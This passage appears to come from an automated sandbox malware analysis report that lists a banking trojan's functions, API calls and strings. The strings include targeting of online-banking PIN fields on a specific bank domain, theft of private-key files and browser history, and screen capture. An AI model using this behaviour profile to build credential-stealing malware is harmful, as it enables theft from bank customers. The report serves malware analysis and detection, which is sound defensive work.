                                                                                                                                                                                                                      • Opcode ID: 10cb1f0c481ea1193b0efc89ac2f881e1cbdfe4649ddc8a3532df82ba252c771
                                                                                                                                                                                                                      • Instruction ID: 3b5512bf08e8e53006d21436b8bf52033d96a7a6e800a4c53f0df56fea037c82
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 10cb1f0c481ea1193b0efc89ac2f881e1cbdfe4649ddc8a3532df82ba252c771
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 49911A76A40215EBCB14DFA4EC88EAF77A8FB49327F408919FB0997281C7719C11CB60
                                                                                                                                                                                                                      Function 027101A0 Relevance: 45.7, APIs: 23, Strings: 3, Instructions: 218COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 027101BE
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE24C2), ref: 027101EB
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0271022D
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02710233
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0271023B
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0271024C
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02710253
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE24C2,?,?), ref: 027102C7
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02710305
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$BackslashCreateDirectoryErrorLast$#680FolderMakeSystemmemset
                                                                                                                                                                                                                      • String ID: 26EE24C2$Local\{EAF799BF-8989-4fe1-9A0D-95CD39DC0214}$path.txt
                                                                                                                                                                                                                      • API String ID: 3538034526-2264900309
                                                                                                                                                                                                                      • Opcode ID: 7f96f4f741898e5a80bf66ccffefb426a64bf5a8f46ffb81cc5b5e3aa78b6142
                                                                                                                                                                                                                      • Instruction ID: feb02c1de94173acdfb321dfe9ad4fa7eea70dab6a582b882b69f60ee4fbe966
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7f96f4f741898e5a80bf66ccffefb426a64bf5a8f46ffb81cc5b5e3aa78b6142
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 23713870A447199FDB218B389C98BEB7BE4EF4A345F448598FD85D7241DB70C984CB90
                                                                                                                                                                                                                      Function 02711A60 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 185stringsynchronizationsleepCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,&txtSubId=,00000000,?), ref: 02711A83
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,&txtPin=), ref: 02711A92
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,ebank.laiki.com), ref: 02711AA1
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D4A8), ref: 02711ACD
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D4A8), ref: 02711B03
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000,?), ref: 02711B6C
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02711B76
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02711B7E
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02711B8F
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 02711B96
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 02711BA3
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF339BF-89ea-4fe1-9A0D-95CD39DC0214},00000000,00000001), ref: 02711BCD
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00000000,00000000), ref: 02711BF2
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,02708A50), ref: 02711C0F
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(Local\{EAF339BF-89ea-4fe1-9A0D-95CD39DC0214},00000006,00000010,00000000,00000000,00000000,00000000), ref: 02711C29
                                                                                                                                                                                                                      • LocalFree.KERNEL32(00000000), ref: 02711C33
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 02711C3E
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 02711C45
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02711C53
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02711C64
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Security$DescriptorPathstrstr$BackslashCreateDirectoryErrorHandleLastMutex$#680CloseConvertCurrentFolderFreeInfoInformationLocalMakeNamedReleaseSaclSleepStringSystem
                                                                                                                                                                                                                      • String ID: &txtPin=$&txtSubId=$Local\{EAF339BF-89ea-4fe1-9A0D-95CD39DC0214}$S:(ML;;NRNWNX;;;LW)$ebank.laiki.com$pass.txt
                                                                                                                                                                                                                      • API String ID: 4186562213-2725162336
                                                                                                                                                                                                                      • Opcode ID: 473bb2b798a80dfbc59ab8f59863ddc757c27e303bfaa0a5288b101baf57962a
                                                                                                                                                                                                                      • Instruction ID: 200798fea3adbdefbdb30347b2fd269d90e6638fa0e98ba8d530bdd2136be6d3
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 473bb2b798a80dfbc59ab8f59863ddc757c27e303bfaa0a5288b101baf57962a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BC512B71A002096BDB259F7C9C99BEF7BA9EF48345F448558FA4ADB200EB70D904C7E0
                                                                                                                                                                                                                      Function 0270F030 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 217filethreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,prv_key.pfx), ref: 0270F05D
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2440), ref: 0270F09E
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2440), ref: 0270F0D2
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270F0E7
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270F0F1
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270F0F9
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270F10A
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270F111
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 0270F14B
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 0270F158
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2440,0273FDB8,0273FDB9), ref: 0270F199
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270F1D4
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270F1DE
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270F1E6
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270F1F7
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270F1FE
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 0270F23B
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 0270F248
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270F420,0273FDB8,00000000,00000000,?,?), ref: 0270F27E
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270F296
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270F2A7
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$ErrorFileLast$BackslashCreate$#680AttributesDeleteDirectoryFolderHandleMakeSystem$CloseInformationThread
                                                                                                                                                                                                                      • String ID: 26EE2440$pass.log$path.txt$prv_key.pfx
                                                                                                                                                                                                                      • API String ID: 2297442659-871482425
                                                                                                                                                                                                                      • Opcode ID: 5993801cfd3651b55c954c7d9ca8e30f893b0fc698176d044ebce3670fe07422
                                                                                                                                                                                                                      • Instruction ID: a8ff81ace59d2b7dc52ff54fbe9e9f207efb58953e7577e84874b0d85fdcd35f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5993801cfd3651b55c954c7d9ca8e30f893b0fc698176d044ebce3670fe07422
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0A71F275A40215DBDB218B389C98BEB7BE4FF4A301F44C994E985D7280DFB0C949CB91
                                                                                                                                                                                                                      Function 0270D26C Relevance: 42.3, APIs: 17, Strings: 7, Instructions: 259fileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?), ref: 0270D278
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,found.), ref: 0270D293
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,asus), ref: 0270D2AE
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270D2D4
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270D30E
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270D318
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270D320
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270D32F
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270D336
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C,?,?), ref: 0270D3D9
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270D413
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270D41D
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270D425
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270D434
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270D43B
                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(?,?), ref: 0270D52F
                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(?), ref: 0270D563
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Error$LastPath$#680BackslashCreateDirectoryFileFolderMakeSystem$AttributesFindModeNext
                                                                                                                                                                                                                      • String ID: .txt$.zip$26EE256C$asus$found.$keys$path
                                                                                                                                                                                                                      • API String ID: 4136576029-3466516509
                                                                                                                                                                                                                      • Opcode ID: 7e2929d3b24ec32a297b009937b55f734a85ec1a5e43c555600bf6e8e8ce26a5
                                                                                                                                                                                                                      • Instruction ID: 32cb71b8e74cd256602ac4ef809b80afc6501debeb05c60d39f1d992cd04fc16
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7e2929d3b24ec32a297b009937b55f734a85ec1a5e43c555600bf6e8e8ce26a5
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BB91C330508746CFCB26CB7494A86ABBBE5EF8A349F188958F8C6C7240EB71D50DC791
                                                                                                                                                                                                                      Function 026F4900 Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 178fileregistryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\TypedURLs,00000000,00020119,?), ref: 026F4925
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,url%i,00000001), ref: 026F494D
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,74DF3490), ref: 026F4987
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F49A9
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 026F49B5
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,IE history:,0000000C,026F58F1,00000000), ref: 026F49C9
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 026F49D7
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F49EB
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 026F49F7
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735C1C,00000001,00000000,00000000), ref: 026F4A0B
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 026F4A19
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4A43
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F4A4F
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F4A64
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 026F4A74
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4A88
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F4A94
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F4AA8
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F4AB6
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,url%i,00000002), ref: 026F4AD5
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 026F4AEC
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$LockPointerUnlockWrite$_snprintf$CloseOpenQueryValue
                                                                                                                                                                                                                      • String ID: IE history:$Software\Microsoft\Internet Explorer\TypedURLs$url%i
                                                                                                                                                                                                                      • API String ID: 757183407-427538202
                                                                                                                                                                                                                      • Opcode ID: cc61d6d40548213f9798f543d7c184b84191446c37f8b7fe2c4dce85bbd40e1e
                                                                                                                                                                                                                      • Instruction ID: 015208a2ef0548a98d1d7f62d83c8b74e35bd8467995776bd5a845ca33bffd3f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cc61d6d40548213f9798f543d7c184b84191446c37f8b7fe2c4dce85bbd40e1e
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AA5150B1A81314BBFB209B909C4AFEF7B78EB49B05F508544F701BA1C1D7F15A448BA5
                                                                                                                                                                                                                      Function 02714018 Relevance: 38.8, APIs: 17, Strings: 5, Instructions: 313COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C), ref: 02714037
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02714075
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0271407F
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02714087
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 02714098
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0271409F
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,?), ref: 027140FD
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000), ref: 0271410C
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C), ref: 02714137
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,keys%i.zip,00000000), ref: 02714197
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C,?,00000000), ref: 027141D7
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,path%i.txt,00000000), ref: 02714237
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274D19C), ref: 02714297
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$Backslash$ErrorLast_snprintf$#680AttributesCreateDirectoryFileFolderMakeSystem
                                                                                                                                                                                                                      • String ID: Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$keys%i.zip$keys.zip$path%i.txt$path.txt
                                                                                                                                                                                                                      • API String ID: 3788559835-604994656
                                                                                                                                                                                                                      • Opcode ID: e3ba7a040c586e38f74e929c1870764a9e794b8b262732d4dfbabfb683e74dd8
                                                                                                                                                                                                                      • Instruction ID: 832c149ee45a1f1c4698e72bb60475de2830e0a889d38680cf98c94999ae084b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e3ba7a040c586e38f74e929c1870764a9e794b8b262732d4dfbabfb683e74dd8
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 84B11D7090064A9BDB1ACB3C98797FB7BE6FF4A300F1489E4D996E7240DB719948CB40
                                                                                                                                                                                                                      Function 026FDA20 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 192filesynchronizationmemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetTickCount.KERNEL32(00000000,00000000), ref: 026FDA2D
                                                                                                                                                                                                                      • HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 026FDA3E
                                                                                                                                                                                                                        • Part of subcall function 026FD970: GetComputerNameA.KERNEL32(0273F588,?,74DEF550,75B07390,74DF0A60,?,?,027076EC), ref: 026FD987
                                                                                                                                                                                                                        • Part of subcall function 026FD970: lstrlenA.KERNEL32(0273F588,?,?,027076EC), ref: 026FD992
                                                                                                                                                                                                                        • Part of subcall function 026FD970: wsprintfA.USER32(0273F5A0,MSCTF.Shared.MAPPING.%x,?,?,?,027076EC), ref: 026FD9D2
                                                                                                                                                                                                                        • Part of subcall function 026FD970: wsprintfA.USER32(0273F54C,MSCTF.Shared.MAPPING.%x,74DF0A60,?,?,?,027076EC), ref: 026FD9E2
                                                                                                                                                                                                                        • Part of subcall function 026FD970: wsprintfA.USER32(0273F5DC,MSCTF.Shared.MAPPING.%x,?,?,?,?,027076EC), ref: 026FD9F2
                                                                                                                                                                                                                        • Part of subcall function 026FD970: wsprintfA.USER32(0273F670,MSCTF.Shared.MUTEX.%x,?,?,?,?,?,027076EC), ref: 026FD9FF
                                                                                                                                                                                                                        • Part of subcall function 026FD970: wsprintfA.USER32(0273F630,MSCTF.Shared.MUTEX.%x,74DF0A60,?,?,?,?,?,027076EC), ref: 026FDA0C
                                                                                                                                                                                                                      • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002939,0273F5A0), ref: 026FDA6A
                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 026FDA83
                                                                                                                                                                                                                        • Part of subcall function 026F9020: SetThreadDesktop.USER32(?,74DEF590,74DE16B0,?), ref: 026F902F
                                                                                                                                                                                                                        • Part of subcall function 026F9020: GetDC.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,026FDA97), ref: 026F9037
                                                                                                                                                                                                                        • Part of subcall function 026F9020: GetDeviceCaps.GDI32(00000000,0000000A,?,?,?,?,?,?,?,?,?,?,?,?,026FDA97), ref: 026F9048
                                                                                                                                                                                                                        • Part of subcall function 026F9020: GetDeviceCaps.GDI32(00000000,00000008,?,?,?,?,?,?,?,?,?,?,?,?,026FDA97), ref: 026F9059
                                                                                                                                                                                                                        • Part of subcall function 026F9020: CreateCompatibleBitmap.GDI32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,026FDA97), ref: 026F9070
                                                                                                                                                                                                                        • Part of subcall function 026F9020: GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 026F90B2
                                                                                                                                                                                                                        • Part of subcall function 026F9020: GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,00000028,00000000), ref: 026F90C2
                                                                                                                                                                                                                        • Part of subcall function 026F9020: DeleteObject.GDI32(00000000), ref: 026F90C5
                                                                                                                                                                                                                        • Part of subcall function 026F9020: ReleaseDC.USER32(00000000,00000000), ref: 026F90CE
                                                                                                                                                                                                                        • Part of subcall function 026F9020: HeapFree.KERNEL32(00000000,00000000,?), ref: 026F9129
                                                                                                                                                                                                                      • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,0273F54C), ref: 026FDAB0
                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 026FDAC3
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,0273F670), ref: 026FDAE1
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00000000,00000000), ref: 026FDAFF
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(00000000,?,?,?), ref: 026FDB20
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(0273F670,00000006,00000010,00000000,00000000,00000000,00000000), ref: 026FDB3D
                                                                                                                                                                                                                      • LocalFree.KERNEL32(00000000), ref: 026FDB47
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 026FDB61
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,0273F630), ref: 026FDB79
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 026FDB97
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,00000000,?), ref: 026FDBB8
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(0273F630,00000006,00000010,00000000,00000000,00000000,00000000), ref: 026FDBD5
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?), ref: 026FDBDF
                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 026FDBFD
                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 026FDC10
                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 026FDC23
                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000000,00000000,0273F5DC), ref: 026FDC39
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetCurrentThread.KERNEL32(00000020,00000000,026F358E,7604DB30,?,?,?,?,026F358E,?,?,026F3751), ref: 02715940
                                                                                                                                                                                                                        • Part of subcall function 02715930: OpenThreadToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 02715947
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetCurrentProcess.KERNEL32(00000020,026F358E,?,?,?,?,026F358E,?,?,026F3751), ref: 02715957
                                                                                                                                                                                                                        • Part of subcall function 02715930: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,026F358E,?,?,026F3751), ref: 0271595E
                                                                                                                                                                                                                        • Part of subcall function 02715930: LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 02715981
                                                                                                                                                                                                                        • Part of subcall function 02715930: AdjustTokenPrivileges.ADVAPI32(026F358E,00000000,00000001,00000000,00000000,00000000), ref: 0271599B
                                                                                                                                                                                                                        • Part of subcall function 02715930: GetLastError.KERNEL32 ref: 027159A5
                                                                                                                                                                                                                        • Part of subcall function 02715930: CloseHandle.KERNEL32(026F358E), ref: 027159B6
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Create$Security$Descriptor$wsprintf$EventFile$FreeMutexThreadToken$BitsCapsConvertCurrentDeviceHeapInfoLocalMappingNamedOpenProcessSaclStringView$AdjustBitmapCloseCompatibleComputerCountDeleteDesktopErrorHandleLastLookupNameObjectPrivilegePrivilegesReleaseTickValuelstrlen
                                                                                                                                                                                                                      • String ID: S:(ML;;NRNWNX;;;LW)
                                                                                                                                                                                                                      • API String ID: 3555772620-820036962
                                                                                                                                                                                                                      • Opcode ID: 18588f084b5fe19cfd73e4ab837450220b9b0560601143f03a364c05fa9f63c2
